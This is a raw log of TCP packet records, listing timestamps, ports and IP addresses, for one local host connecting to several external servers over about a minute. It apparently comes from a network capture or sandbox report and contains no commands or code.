Feb 27, 2025 20:24:29.825328112 CET	49705	443	192.168.2.16	103.52.144.214
Feb 27, 2025 20:24:29.871334076 CET	443	49705	103.52.144.214	192.168.2.16
Feb 27, 2025 20:24:30.027913094 CET	443	49710	172.217.16.196	192.168.2.16
Feb 27, 2025 20:24:30.028192043 CET	49710	443	192.168.2.16	172.217.16.196
Feb 27, 2025 20:24:30.028203964 CET	443	49710	172.217.16.196	192.168.2.16
Feb 27, 2025 20:24:30.029861927 CET	443	49710	172.217.16.196	192.168.2.16
Feb 27, 2025 20:24:30.029927969 CET	49710	443	192.168.2.16	172.217.16.196
Feb 27, 2025 20:24:30.031096935 CET	49710	443	192.168.2.16	172.217.16.196
Feb 27, 2025 20:24:30.031183958 CET	443	49710	172.217.16.196	192.168.2.16
Feb 27, 2025 20:24:30.073297024 CET	49710	443	192.168.2.16	172.217.16.196
Feb 27, 2025 20:24:30.073306084 CET	443	49710	172.217.16.196	192.168.2.16
Feb 27, 2025 20:24:30.102576971 CET	53	52359	1.1.1.1	192.168.2.16
Feb 27, 2025 20:24:30.103189945 CET	52359	53	192.168.2.16	1.1.1.1
Feb 27, 2025 20:24:30.108481884 CET	53	52359	1.1.1.1	192.168.2.16
Feb 27, 2025 20:24:30.108536959 CET	52359	53	192.168.2.16	1.1.1.1
Feb 27, 2025 20:24:30.121290922 CET	49710	443	192.168.2.16	172.217.16.196
Feb 27, 2025 20:24:30.206973076 CET	443	49705	103.52.144.214	192.168.2.16
Feb 27, 2025 20:24:30.210042000 CET	443	49705	103.52.144.214	192.168.2.16
Feb 27, 2025 20:24:30.210109949 CET	49705	443	192.168.2.16	103.52.144.214
Feb 27, 2025 20:24:30.210295916 CET	49705	443	192.168.2.16	103.52.144.214
Feb 27, 2025 20:24:30.210308075 CET	443	49705	103.52.144.214	192.168.2.16
Feb 27, 2025 20:24:30.571335077 CET	52362	443	192.168.2.16	103.52.144.214
Feb 27, 2025 20:24:30.571368933 CET	443	52362	103.52.144.214	192.168.2.16
Feb 27, 2025 20:24:30.571696043 CET	52362	443	192.168.2.16	103.52.144.214
Feb 27, 2025 20:24:30.571696043 CET	52362	443	192.168.2.16	103.52.144.214
Feb 27, 2025 20:24:30.571719885 CET	443	52362	103.52.144.214	192.168.2.16
Feb 27, 2025 20:24:31.528301954 CET	49673	443	192.168.2.16	204.79.197.203
Feb 27, 2025 20:24:31.885636091 CET	443	52362	103.52.144.214	192.168.2.16
Feb 27, 2025 20:24:31.885864019 CET	52362	443	192.168.2.16	103.52.144.214
Feb 27, 2025 20:24:31.885878086 CET	443	52362	103.52.144.214	192.168.2.16
Feb 27, 2025 20:24:31.887360096 CET	443	52362	103.52.144.214	192.168.2.16
Feb 27, 2025 20:24:31.887413979 CET	52362	443	192.168.2.16	103.52.144.214
Feb 27, 2025 20:24:31.887687922 CET	52362	443	192.168.2.16	103.52.144.214
Feb 27, 2025 20:24:31.887758970 CET	443	52362	103.52.144.214	192.168.2.16
Feb 27, 2025 20:24:31.887806892 CET	52362	443	192.168.2.16	103.52.144.214
Feb 27, 2025 20:24:31.887813091 CET	443	52362	103.52.144.214	192.168.2.16
Feb 27, 2025 20:24:31.942334890 CET	52362	443	192.168.2.16	103.52.144.214
Feb 27, 2025 20:24:32.268146992 CET	443	52362	103.52.144.214	192.168.2.16
Feb 27, 2025 20:24:32.270988941 CET	443	52362	103.52.144.214	192.168.2.16
Feb 27, 2025 20:24:32.271092892 CET	52362	443	192.168.2.16	103.52.144.214
Feb 27, 2025 20:24:32.271512985 CET	52362	443	192.168.2.16	103.52.144.214
Feb 27, 2025 20:24:32.271537066 CET	443	52362	103.52.144.214	192.168.2.16
Feb 27, 2025 20:24:35.160749912 CET	49678	443	192.168.2.16	20.189.173.10
Feb 27, 2025 20:24:35.464339018 CET	49678	443	192.168.2.16	20.189.173.10
Feb 27, 2025 20:24:36.068377972 CET	49678	443	192.168.2.16	20.189.173.10
Feb 27, 2025 20:24:36.339322090 CET	49673	443	192.168.2.16	204.79.197.203
Feb 27, 2025 20:24:37.280345917 CET	49678	443	192.168.2.16	20.189.173.10
Feb 27, 2025 20:24:39.623538971 CET	49680	80	192.168.2.16	192.229.211.108
Feb 27, 2025 20:24:39.687341928 CET	49678	443	192.168.2.16	20.189.173.10
Feb 27, 2025 20:24:39.787260056 CET	49689	80	192.168.2.16	192.229.211.108
Feb 27, 2025 20:24:39.787321091 CET	49691	80	192.168.2.16	184.30.131.245
Feb 27, 2025 20:24:39.920299053 CET	443	49710	172.217.16.196	192.168.2.16
Feb 27, 2025 20:24:39.920386076 CET	443	49710	172.217.16.196	192.168.2.16
Feb 27, 2025 20:24:39.920430899 CET	49710	443	192.168.2.16	172.217.16.196
Feb 27, 2025 20:24:39.926376104 CET	49680	80	192.168.2.16	192.229.211.108
Feb 27, 2025 20:24:40.534694910 CET	49680	80	192.168.2.16	192.229.211.108
Feb 27, 2025 20:24:40.776608944 CET	49710	443	192.168.2.16	172.217.16.196
Feb 27, 2025 20:24:40.776649952 CET	443	49710	172.217.16.196	192.168.2.16
Feb 27, 2025 20:24:41.747339010 CET	49680	80	192.168.2.16	192.229.211.108
Feb 27, 2025 20:24:44.153333902 CET	49680	80	192.168.2.16	192.229.211.108
Feb 27, 2025 20:24:44.488375902 CET	49678	443	192.168.2.16	20.189.173.10
Feb 27, 2025 20:24:45.939376116 CET	49673	443	192.168.2.16	204.79.197.203
Feb 27, 2025 20:24:48.963367939 CET	49680	80	192.168.2.16	192.229.211.108
Feb 27, 2025 20:24:54.104572058 CET	49678	443	192.168.2.16	20.189.173.10
Feb 27, 2025 20:24:58.563431978 CET	49680	80	192.168.2.16	192.229.211.108
Feb 27, 2025 20:25:03.353745937 CET	52533	80	192.168.2.16	45.61.157.205
Feb 27, 2025 20:25:03.358864069 CET	80	52533	45.61.157.205	192.168.2.16
Feb 27, 2025 20:25:03.359057903 CET	52533	80	192.168.2.16	45.61.157.205
Feb 27, 2025 20:25:03.359523058 CET	52533	80	192.168.2.16	45.61.157.205
Feb 27, 2025 20:25:03.364547968 CET	80	52533	45.61.157.205	192.168.2.16
Feb 27, 2025 20:25:04.097711086 CET	80	52533	45.61.157.205	192.168.2.16
Feb 27, 2025 20:25:04.144421101 CET	52533	80	192.168.2.16	45.61.157.205
Feb 27, 2025 20:25:04.173650026 CET	52539	443	192.168.2.16	104.26.9.129
Feb 27, 2025 20:25:04.173701048 CET	443	52539	104.26.9.129	192.168.2.16
Feb 27, 2025 20:25:04.173774004 CET	52539	443	192.168.2.16	104.26.9.129
Feb 27, 2025 20:25:04.182174921 CET	52539	443	192.168.2.16	104.26.9.129
Feb 27, 2025 20:25:04.182204962 CET	443	52539	104.26.9.129	192.168.2.16
Feb 27, 2025 20:25:04.659498930 CET	443	52539	104.26.9.129	192.168.2.16
Feb 27, 2025 20:25:04.659596920 CET	52539	443	192.168.2.16	104.26.9.129
Feb 27, 2025 20:25:04.661823988 CET	52539	443	192.168.2.16	104.26.9.129
Feb 27, 2025 20:25:04.661839008 CET	443	52539	104.26.9.129	192.168.2.16
Feb 27, 2025 20:25:04.662177086 CET	443	52539	104.26.9.129	192.168.2.16
Feb 27, 2025 20:25:04.668886900 CET	52539	443	192.168.2.16	104.26.9.129
Feb 27, 2025 20:25:04.715331078 CET	443	52539	104.26.9.129	192.168.2.16
Feb 27, 2025 20:25:04.812772036 CET	443	52539	104.26.9.129	192.168.2.16
Feb 27, 2025 20:25:04.813023090 CET	443	52539	104.26.9.129	192.168.2.16
Feb 27, 2025 20:25:04.813091993 CET	52539	443	192.168.2.16	104.26.9.129
Feb 27, 2025 20:25:04.816184044 CET	52539	443	192.168.2.16	104.26.9.129
Feb 27, 2025 20:25:04.827052116 CET	52542	443	192.168.2.16	172.67.69.88
Feb 27, 2025 20:25:04.827092886 CET	443	52542	172.67.69.88	192.168.2.16
Feb 27, 2025 20:25:04.827260017 CET	52542	443	192.168.2.16	172.67.69.88
Feb 27, 2025 20:25:04.827537060 CET	52542	443	192.168.2.16	172.67.69.88
Feb 27, 2025 20:25:04.827549934 CET	443	52542	172.67.69.88	192.168.2.16
Feb 27, 2025 20:25:05.294044971 CET	443	52542	172.67.69.88	192.168.2.16
Feb 27, 2025 20:25:05.294147015 CET	52542	443	192.168.2.16	172.67.69.88
Feb 27, 2025 20:25:05.309420109 CET	52542	443	192.168.2.16	172.67.69.88
Feb 27, 2025 20:25:05.309452057 CET	443	52542	172.67.69.88	192.168.2.16
Feb 27, 2025 20:25:05.310405970 CET	443	52542	172.67.69.88	192.168.2.16
Feb 27, 2025 20:25:05.312021017 CET	52542	443	192.168.2.16	172.67.69.88
Feb 27, 2025 20:25:05.355335951 CET	443	52542	172.67.69.88	192.168.2.16
Feb 27, 2025 20:25:05.461729050 CET	443	52542	172.67.69.88	192.168.2.16
Feb 27, 2025 20:25:05.461872101 CET	443	52542	172.67.69.88	192.168.2.16
Feb 27, 2025 20:25:05.461951971 CET	52542	443	192.168.2.16	172.67.69.88
Feb 27, 2025 20:25:05.462532997 CET	52542	443	192.168.2.16	172.67.69.88
Feb 27, 2025 20:25:05.475878954 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:05.475898027 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:05.475985050 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:05.476186037 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:05.476198912 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.026184082 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.026285887 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.028404951 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.028412104 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.028809071 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.029730082 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.075323105 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.489891052 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.489953041 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.489979029 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.490006924 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.490031958 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.490035057 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.490042925 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.490050077 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.490084887 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.490113974 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.490143061 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.490170956 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.490179062 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.490207911 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.490266085 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.490386963 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.490391970 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.490480900 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.495032072 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.495198011 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.495301962 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.495332956 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.495357037 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.495469093 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.495486975 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.495646954 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.495745897 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.495750904 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.495770931 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.495848894 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.496259928 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.496428013 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.496525049 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.496611118 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.496649981 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.496658087 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.496769905 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.497198105 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.497354984 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.497440100 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.497476101 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.497483015 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.497906923 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.498078108 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.498183012 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.498270988 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.498277903 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.498354912 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.498394966 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.498399973 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.499030113 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.499037981 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.499061108 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.499289036 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.520045042 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.520215034 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.520306110 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.520392895 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.520400047 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.520421028 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.520448923 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.521092892 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.521178961 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.521186113 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.521833897 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.521927118 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.521962881 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.521969080 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.522134066 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.522835970 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.522943974 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.522964954 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.522970915 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.523122072 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.523672104 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.523772001 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.523787022 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.524629116 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.524996042 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.525103092 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.525332928 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.525413036 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.526000977 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.526074886 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.526813984 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.526911974 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.527121067 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.527172089 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.527880907 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.528007030 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.528120041 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.528353930 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.538165092 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.550685883 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.550797939 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.550864935 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.550915956 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.573096037 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.612974882 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.613117933 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.613152981 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.613158941 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.613182068 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.613243103 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.613250971 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.613281012 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.613365889 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.613394976 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.613507986 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.613512993 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.613550901 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.613631010 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.613635063 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.613647938 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.613689899 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.613759041 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.613763094 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.613842964 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.613910913 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.613910913 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.613915920 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.613984108 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.614090919 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.614130020 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.614135027 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.614167929 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.614185095 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.614248037 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.614262104 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.614490032 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.614799976 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.614933014 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.614938021 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.614955902 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.614989996 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.615041971 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.615060091 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.615140915 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.615164042 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.615300894 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.615756989 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.615859032 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.615916967 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.615916967 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.615922928 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.615972042 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.616089106 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.616089106 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.616113901 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.616211891 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.616211891 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.617778063 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.618124962 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.618202925 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.618202925 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.618207932 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.618297100 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.618338108 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.618438959 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.618478060 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.618484020 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.618566036 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.618566036 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.622680902 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.622777939 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.622798920 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.622803926 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.622917891 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.622917891 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.643435001 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.643531084 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.643578053 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.643582106 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.643630981 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.643630981 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.705452919 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.705473900 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.705564976 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.705564976 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.705574036 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.705739975 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.705754995 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.705761909 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.705773115 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.705796957 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.705838919 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.706100941 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.706114054 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.706180096 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.706198931 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.706204891 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.706213951 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.706242085 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.706242085 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.710565090 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.710582972 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.710664988 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.710664988 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.710673094 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.710884094 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.710900068 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.710958004 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.710958004 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.710963964 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.711107016 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.711153984 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.711167097 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.711229086 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.711242914 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.711301088 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.711481094 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.711512089 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.711611986 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.711617947 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.711659908 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.711955070 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.777956963 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.778022051 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.778198957 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.778198957 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.778208971 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.779515028 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.798230886 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.798343897 CET	52546	443	192.168.2.16	104.21.68.54
